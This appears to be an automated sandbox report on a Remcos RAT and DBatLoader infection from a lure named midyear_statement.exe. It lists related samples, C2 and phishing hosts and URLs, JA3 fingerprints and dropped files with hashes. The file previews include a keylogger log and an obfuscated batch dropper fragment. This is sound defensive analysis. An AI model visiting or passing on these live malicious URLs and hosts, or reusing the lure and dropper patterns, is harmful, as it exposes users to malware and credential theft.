	ENQUNION096424 CLOSING DATE URGENT.bat	Get hash	malicious	Remcos, DBatLoader	Browse	geoplugin.net/json.gp
	3rd Shipment schedule & packing list of NORDLEOPARD V.413S.pdf.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	PI-BD2403001.exe	Get hash	malicious	Remcos, DBatLoader	Browse	geoplugin.net/json.gp
	awb_shipping_documents_26_03_2024_000000000.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	geoplugin.net/json.gp
	Order P.O26_3_24.CommonWealth.pdf.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.zuckdgreb.duckdns.org	repeatorder.exe	Get hash	malicious	Remcos, DBatLoader	Browse	192.3.109.132
dual-spov-0006.spov-msedge.net	101206 - 24595 - Nymc - 401K - Audit - Change Report 9(Rev) + 10 + 11 + 12-882755.docx	Get hash	malicious	Unknown	Browse	13.107.137.11
	Inquiry_GMD_Specifications_7266738879_G#2024.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	13.107.137.11
	ENQUNION096424 CLOSING DATE URGENT.bat	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	https://1drv.ms/o/s!BFRjM-vQxGYFhElDOX-pd0RkvatP?e=Rp2e0wqCfEOklCep72qfVw&at=9&d=DwMFAw	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.137.11
	https://1drv.ms/o/s!Aks-7t91vov6sE-66HewIX77qIuB?e=wdAigZ	Get hash	malicious	SharepointPhisher	Browse	13.107.139.11
	Yeni sifaris siyahisi.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	https://1drv.ms/o/s!Aks-7t91vov6sCpKk2puy8xtGsHV?e=AsvnyK	Get hash	malicious	SharepointPhisher	Browse	13.107.137.11
	Order inquiry.bat	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	https://sharepoint-8sw.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.137.11
	Statement Of Account - Overdue Payments #94839540823489.bat	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
geoplugin.net	awb_shipping_documents_27_03_2024_0000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	FEDEX-TNT-OVERDUE-UNPAID-INVOICE980055177854.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	DHL TAX INVOICES - MARCH 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Statement of Account for Past Due Invoices.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	z1awb_shipping_documents_27_03_2024_000000000.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	178.237.33.50
	ENQUNION096424 CLOSING DATE URGENT.bat	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	3rd Shipment schedule & packing list of NORDLEOPARD V.413S.pdf.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	PI-BD2403001.exe	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	awb_shipping_documents_26_03_2024_000000000.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	178.237.33.50
	Order P.O26_3_24.CommonWealth.pdf.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	Statement of Account for Past Due Invoices.exe	Get hash	malicious	Remcos	Browse	192.210.201.57
	RFQ No. 5490490.xla.xlsx	Get hash	malicious	Unknown	Browse	107.175.113.216
	ENQUNION096424 CLOSING DATE URGENT.bat	Get hash	malicious	Remcos, DBatLoader	Browse	192.3.216.131
	https://62.172-245-112-195.cprapid.com/PayPaI/IP:	Get hash	malicious	Unknown	Browse	172.245.112.195
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	198.46.173.145
	PI-BD2403001.exe	Get hash	malicious	Remcos, DBatLoader	Browse	23.95.235.29
	36KV XLPE Materials-300mm.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	192.210.215.35
	1.xla.xlsx	Get hash	malicious	Unknown	Browse	107.175.113.216
	MICROSOFT_OFFICE_EXCEL_A.vbs	Get hash	malicious	Unknown	Browse	205.234.157.226
	po3495954.xls	Get hash	malicious	Unknown	Browse	198.46.173.145
ATOM86-ASATOM86NL	awb_shipping_documents_27_03_2024_0000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	FEDEX-TNT-OVERDUE-UNPAID-INVOICE980055177854.vbs	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	DHL TAX INVOICES - MARCH 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Statement of Account for Past Due Invoices.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	z1awb_shipping_documents_27_03_2024_000000000.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	178.237.33.50
	ENQUNION096424 CLOSING DATE URGENT.bat	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	3rd Shipment schedule & packing list of NORDLEOPARD V.413S.pdf.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	PI-BD2403001.exe	Get hash	malicious	Remcos, DBatLoader	Browse	178.237.33.50
	awb_shipping_documents_26_03_2024_000000000.vbs	Get hash	malicious	FormBook, GuLoader, Remcos	Browse	178.237.33.50
	Order P.O26_3_24.CommonWealth.pdf.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://colourlyrics.com/fe/KtHc5ruvtRkZFoArrtthaJsvCmg3Rb7X4JToP666Ry87hz3e3rFuRJGAPKBcoBZjAZJZK4pouqXoieozb8x97ijrpxmdxNfsxaBCR2nGFdZnrhtCVLagarbeJ5bjm2rcgeCmZPnkCo2NqoSFB3o6MQ	Get hash	malicious	Unknown	Browse	13.107.246.51
	FindAll.xla	Get hash	malicious	Unknown	Browse	13.107.246.40
	http://avsvmcloud.com	Get hash	malicious	Unknown	Browse	20.140.0.1
	11111.lnk	Get hash	malicious	Unknown	Browse	13.107.246.40
	AhbJkpk3Z8.elf	Get hash	malicious	Unknown	Browse	20.167.146.117
	dysrvPhMb0.elf	Get hash	malicious	Mirai	Browse	20.48.73.233
	66yaYNheLa.elf	Get hash	malicious	Unknown	Browse	13.80.73.249
	XCSBsTmkde.elf	Get hash	malicious	Mirai	Browse	20.124.86.140
	CGlwOBF2cH.elf	Get hash	malicious	Unknown	Browse	104.40.77.22
	lYMzLERz9v.elf	Get hash	malicious	Unknown	Browse	191.237.178.54

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	QJwM0vJ5mk.exe	Get hash	malicious	LummaC	Browse	13.107.139.11
	mUY60MPRcJ.exe	Get hash	malicious	LummaC	Browse	13.107.139.11
	FindAll.xla	Get hash	malicious	Unknown	Browse	13.107.139.11
	11111.lnk	Get hash	malicious	Unknown	Browse	13.107.139.11
	0u4INeEGGS.exe	Get hash	malicious	LummaC	Browse	13.107.139.11
	i1crvbOZAP.exe	Get hash	malicious	Amadey, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	13.107.139.11
	7gA40t6M1y.exe	Get hash	malicious	LummaC	Browse	13.107.139.11
	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse	13.107.139.11
	https://d2b0yahslb04qh.cloudfront.net/W0in0sNw0S0sh01Er038/index.html?ph0ne=+1-833-317-3190	Get hash	malicious	TechSupportScam	Browse	13.107.139.11
	https://d24s8bqqqoxjsw.cloudfront.net/Wi0n088StJnyEr087/index.html	Get hash	malicious	Unknown	Browse	13.107.139.11

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Libraries\wkrriuhD.pif	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse
	Inquiry_GMD_Specifications_7266738879_G#2024.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	SecuriteInfo.com.Win32.Evo-gen.9756.30202.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.7105.24636.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Material Purchase Order for the Supply.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	product_order.cmd	Get hash	malicious	Remcos, DBatLoader	Browse
	ungziped_file.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	DHL SHIPPING DOCUMENT - BL - AWB PACKING LIST_02292024.exe	Get hash	malicious	DBatLoader, PureLog Stealer, zgRAT	Browse
	DHL SHIPPING DOCUMENT - BL - AWB PACKING LIST_02292024.exe	Get hash	malicious	DBatLoader, RedLine	Browse
	DHL_AWB#6078538091.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
C:\Windows \System32\2506803.exe	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse
	Inquiry_GMD_Specifications_7266738879_G#2024.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	ENQUNION096424 CLOSING DATE URGENT.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	PI-BD2403001.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Order inquiry.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	Statement Of Account - Overdue Payments #94839540823489.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	Document.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	BBRAUN VIETNAM - RFQ-QT240422703-01 - 3-29-2024-20-00.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	SecuriteInfo.com.Win32.Evo-gen.9756.30202.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.7105.24636.exe	Get hash	malicious	Remcos, DBatLoader	Browse

Created / dropped Files

C:\ProgramData\remcos\logs.dat

Download File

Process:	C:\Users\Public\Libraries\wkrriuhD.pif
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.3403739461321296
Encrypted:	false
SSDEEP:	3:rhlKlrl9Nrx5JWRal2Jl+7R0DAlBG45klovDl6ALilXIkqoojklovDl6ALilXIk/:6lz5YcIeeDAlOWAAe5q1gWAAe5q1gWAv
MD5:	53F39060C128C092FE1DEDCE56FD722D
SHA1:	211DA2844034599DFD2D5DEEE5289A6ACDCE90A8
SHA-256:	2EBF058C161E48889668A5AD8552D488EA9CAA3441E09EBFD23930960806FAD6
SHA-512:	4DE7FCCCE0A21319FD7010AAF0C7C4C2A0BAB454B1FD4A85967887EBCA3B55C8E95315B2126CACA9EA47579B7B935434C92FC7C82B1BD6A0064754C7852448A6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.0.3./.2.8. .1.3.:.5.9.:.1.4. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.R.u.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.R.u.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\Public\Dhuirrkw.url

Download File

Process:	C:\Users\user\Desktop\midyear_statement.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Dhuirrkw.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	5.060889316089751
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMYWe41CHovsb9OvfAKov:HRYFVmTWDyzcLEyE9OQKy
MD5:	98CEDD728217C8E88B50667980974A9F
SHA1:	D99A98F1722AEDCB9EE60D08C38CFADE3CB22A3F
SHA-256:	5F0DF8D30DF5428164AAABADCD1D8B873186C6E0D5247B157196C32696F28F77
SHA-512:	EB629799815FA585816309776484ECEDB462EDC1FD7A17D969588ABA80626F107B41CFFC7972C227C53604E08F077A84E427CD2D11B5CEB45A1E2B150D982013
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Dhuirrkw.PIF"..IconIndex=54..HotKey=21..

C:\Users\Public\Libraries\Dhuirrkw.PIF

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1265664
Entropy (8bit):	7.0065077195606165
Encrypted:	false
SSDEEP:	12288:evGkW/sci4Vup7XNihvMHH59TpfLFhLme7iEEEblTHQE1ZEQrfvAcEH+DwxTe8g:e+Rg+up7XNiyHZ994eHQEQahz
MD5:	DD8E3F6AC5C24960B3A69490082C60E1
SHA1:	C5F8AAEC5BAA571791789DD5FAC53E27938DBC29
SHA-256:	15DB18392D7BBF15B30E528DB05EC306E00AC3227277D0639064EC3E2BC98C73
SHA-512:	AC96E6FB368F5E2C8B8A80EB32635357F1931838B8575125956FE2E3C2465B7BD228606635F3563BB0A047B3BC8FBD19D25E0609210C4574C05993EC078AD205
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................R......L........ ....@..............................................@...........................P..N%...............................m...................................................V...............................text............................... ..`.itext.............................. ..`.data...\|.... ......................@....bss....p6...............................idata..N%...P...&..................@....tls....4................................rdata..............................@..@.reloc...m.......n..................@..B.rsrc................z..............@..@.....................P..............@..@................................................................................................

C:\Users\Public\Libraries\Null

Download File

Process:	C:\Users\user\Desktop\midyear_statement.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:Vy:s
MD5:	E655C6429C1DFBA3509EEA2FC2108EFF
SHA1:	6D8A1F6E74D27B3EB0E07AD8AF02F9DF002462FA
SHA-256:	A77B54178E2066FDC29229D4C0B59051CAEDC92E918E037928E185D39AD86316
SHA-512:	E31042C3AA2A0FF85FD261F04F63FA33EA0C5A348D9D8A23FA8092ED9ABCFD881E130D25284143ADE9E80CFEAE95988B92EC79F2A75EFC1A61B548CBEA0CB1C7
Malicious:	false
Preview:	37..

C:\Users\Public\Libraries\wkrriuhD.pif

Download File

Process:	C:\Users\user\Desktop\midyear_statement.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: aMObJ2eTUf.exe, Detection: malicious, Browse Filename: Inquiry_GMD_Specifications_7266738879_G#2024.cmd, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.9756.30202.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.7105.24636.exe, Detection: malicious, Browse Filename: Material Purchase Order for the Supply.exe, Detection: malicious, Browse Filename: product_order.cmd, Detection: malicious, Browse Filename: ungziped_file.exe, Detection: malicious, Browse Filename: DHL SHIPPING DOCUMENT - BL - AWB PACKING LIST_02292024.exe, Detection: malicious, Browse Filename: DHL SHIPPING DOCUMENT - BL - AWB PACKING LIST_02292024.exe, Detection: malicious, Browse Filename: DHL_AWB#6078538091.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\json[1].json

Download File

Process:	C:\Users\Public\Libraries\wkrriuhD.pif
File Type:	JSON data
Category:	dropped
Size (bytes):	989
Entropy (8bit):	5.019408940029604
Encrypted:	false
SSDEEP:	12:tkEU+nd6UGkMyGWKyGXPVGArwY3yGhsp+axH0sp+GYArpv/mOAaNO+ao9W7iN5zp:qydVauKyGX852sesPvXhNlT3/75ciWro
MD5:	D3D1956DA737B1B3EF05DA28210D81B7
SHA1:	40287B4136212BFD82AE0388DD3178721926FCDB
SHA-256:	0BA354EA36476D11344D1E20DED0C3658FD39B6D436C916AE02FB1E7DC47D742
SHA-512:	EA5BAF54FBB5BFD754308DCF2F9C77E9840BA8B194906060A77958F22CC76F5CDC317D68566EFEAD200D4934EF2DBECDBC3DCA089327AC7771136C9AE8AEB7D9
Malicious:	false
Preview:	{. "geoplugin_request":"102.165.48.43",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"Washington",. "geoplugin_region":"District of Columbia",. "geoplugin_regionCode":"DC",. "geoplugin_regionName":"District of Columbia",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"511",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"38.894",. "geoplugin_longitude":"-77.0365",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulRjFllp:NllU
MD5:	7B390667B7AD392C3A7ECD95310E0D68
SHA1:	F7ED92E360DACA5B2BB3152AFB8A26DD5A408706
SHA-256:	E233F71BD3E7F3B34DC94F8F9DDB533F59E07BE7AEFA021541DF0160436E1C0D
SHA-512:	0131C5BD611E47AF843A354F9AD83CAE0AA4A64B0FB723BB485B9FBDBF409A98BB5248336BCDE84FF72E3EB44D2EC10C30133767CD0DE32C77757C0EE75DCCC2
Malicious:	false
Preview:	@...e.................................@. ............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3luth4im.4e3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cciqjdho.kwp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_imfx2ezv.jpo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z5tomrjh.33x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bhv348F.tmp

Download File

Process:	C:\Users\Public\Libraries\wkrriuhD.pif
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbda68b75, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	14680064
Entropy (8bit):	0.9773375313961997
Encrypted:	false
SSDEEP:	6144:ggMnQEUUMBPPpBPJmNjfiEWC7WswQpWK/qZCCkxpu514dCVZ3L9yqXx4SU8GxJHL:xn/cj5tND5ApBK4K
MD5:	4D670AFC0ACDE5EFAFDD756D8D7444E1
SHA1:	3D805BD200DBB8A3E12CC418A663DABA241E6986
SHA-256:	87AD9A15E53285B2D2714912F27967B2B24EB75B161920D288D36FC9A807C127
SHA-512:	7D6364D4F8CC981CAFDA46095BD19B3AD8472CB00039CF495604754DB76D7F123B93812F6BFB8AB56A5EC7CA3B7C454370CAB0203CA2A000C140EC43BF0022EC
Malicious:	false
Preview:	...u... ................./..(...{........................&......6...{5.9:...\|..h.(.........................:.I..(...{..............................................................................................P...........eJ......n........................................................................................................... .......93...{a..............................................................................................................................................................................................(...{...................................)..9:...\|..................cd..9:...\|...........................#......h.(.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jshsresovzeecssjzbcdvgiytb

Download File

Process:	C:\Users\Public\Libraries\wkrriuhD.pif
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	modified
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Windows \System32\2506803.exe

Download File

Process:	C:\Users\user\Desktop\midyear_statement.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131648
Entropy (8bit):	5.225468064273746
Encrypted:	false
SSDEEP:	3072:zar2xXibKcf5K67+k02XbFbosspwUUgcR:Nibl7+k02XZb9UA
MD5:	231CE1E1D7D98B44371FFFF407D68B59
SHA1:	25510D0F6353DBF0C9F72FC880DE7585E34B28FF
SHA-256:	30951DB8BFC21640645AA9144CFEAA294BB7C6980EF236D28552B6F4F3F92A96
SHA-512:	520887B01BDA96B7C4F91B9330A5C03A12F7C7F266D4359432E7BACC76B0EEF377C05A4361F8FA80AD0B94B5865699D747A5D94A2D3DCDB85DABF5887BB6C612
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: aMObJ2eTUf.exe, Detection: malicious, Browse Filename: Inquiry_GMD_Specifications_7266738879_G#2024.cmd, Detection: malicious, Browse Filename: ENQUNION096424 CLOSING DATE URGENT.bat, Detection: malicious, Browse Filename: PI-BD2403001.exe, Detection: malicious, Browse Filename: Order inquiry.bat, Detection: malicious, Browse Filename: Statement Of Account - Overdue Payments #94839540823489.bat, Detection: malicious, Browse Filename: Document.exe, Detection: malicious, Browse Filename: BBRAUN VIETNAM - RFQ-QT240422703-01 - 3-29-2024-20-00.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.9756.30202.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.7105.24636.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........GF..)...)...).,.....).,.....).,.....)...(.V.).,.....).,.....).,.....).,.....).Rich..).........................PE..d...^PPT.........."..........D...... ..........@............................. ......z................ ..................................................................@&......4....................................................................................text............................... ..`.imrsiv..................................data...............................@....pdata..............................@..@.idata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B........................................................................................................................................................................................................................

C:\Windows \System32\KDECO.bat

Download File

Process:	C:\Users\user\Desktop\midyear_statement.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (432), with CRLF line terminators
Category:	dropped
Size (bytes):	11898
Entropy (8bit):	4.716832845643102
Encrypted:	false
SSDEEP:	192:UPNoaJSjPMK2jxkXDmZevmhmpd/mGq5LnRWF7NpL29QeQoGAhLNTbz4UgHCHDQSq:KNjsjUKwxCiZevmgpd/jcnRu7imoG8Le
MD5:	C545650595B479C81AD6B9D8882AAE39
SHA1:	7A98AA2E6EEE23B3C1BBA876955D525BC618B3F0
SHA-256:	A3A80983CB33159F0455FA0135789402558BAA1460DB94D0071318512B8CB5F9
SHA-512:	85AC596A7DA9072A28C4178E4FDEDC98F1B49C8E3FE5612CFE464833297B13F65D2DC59B52D7FC9970CFF8F98D954111229AEC0ED9DDED454E03B0CF4EBB6FF3
Malicious:	false
Preview:	@echo off..@%.%e%.. . %c%......%h%.. %o%.... .% %....%o%...%f%.... %f% ...... %..s%.%e%. ........%t%......% %.... ..%"%. .%p%.........%g% .%D% ..%D%...%=% .%s%.%e%.. ......%t%... ...% %.......%"%..... .%..%pgDD%"%.. ..%j%..... %K% .%u%.. . %f%....%=%......%=%........%"%.... %..%pgDD%"%. . ...%s%.%n%.. ......%e%.... .. .%S%.... ..%P%.%N%... .%L%...%M% ..... %i%..... %y% ...%%jKuf%k% ..%"%...%..%pgDD%"%.... .%t%.%V%.. .. ...%n%.. .......%F% %G%.. .%K% %a% .%w% %X%.. . .%M%. ...%%jKuf%h%. . ....%2% ....%s%..%h%.......%"%.... ...%..%pgDD%"%.... .%e%........%w% ..... .%f%....%J% ........%q%........%K%. .... %y%....... ..%s% %u%.. ..%y%.... .....%%jKuf%r%..... ...

C:\Windows \System32\netutils.dll

Download File

Process:	C:\Users\user\Desktop\midyear_statement.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	115372
Entropy (8bit):	5.091814440717213
Encrypted:	false
SSDEEP:	1536:sLW5ID3z1yOjXtZqmsGyhvI5jduvd9a8yCl7MbiRVRpz5u:sLWi/LZq3hvUuvd9a8BRpz5u
MD5:	FA7AA88417D0C48807144A1A48FE3FBC
SHA1:	6F5EC990B12D4A6075050A94E0D68D03781FA46D
SHA-256:	2019DCD18BA7D5554A4A9DA882740AA883941670AF3DE9396960081A0F8AA098
SHA-512:	99B2EB6F8E7D00A3803CBA229149E5E0CB67A3DEB607782C55FBACD25D9C074CCE83759DE15490EFF939D5AD98F26CDBD44395CC79FFE22753E16C3D9E3B5FFF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
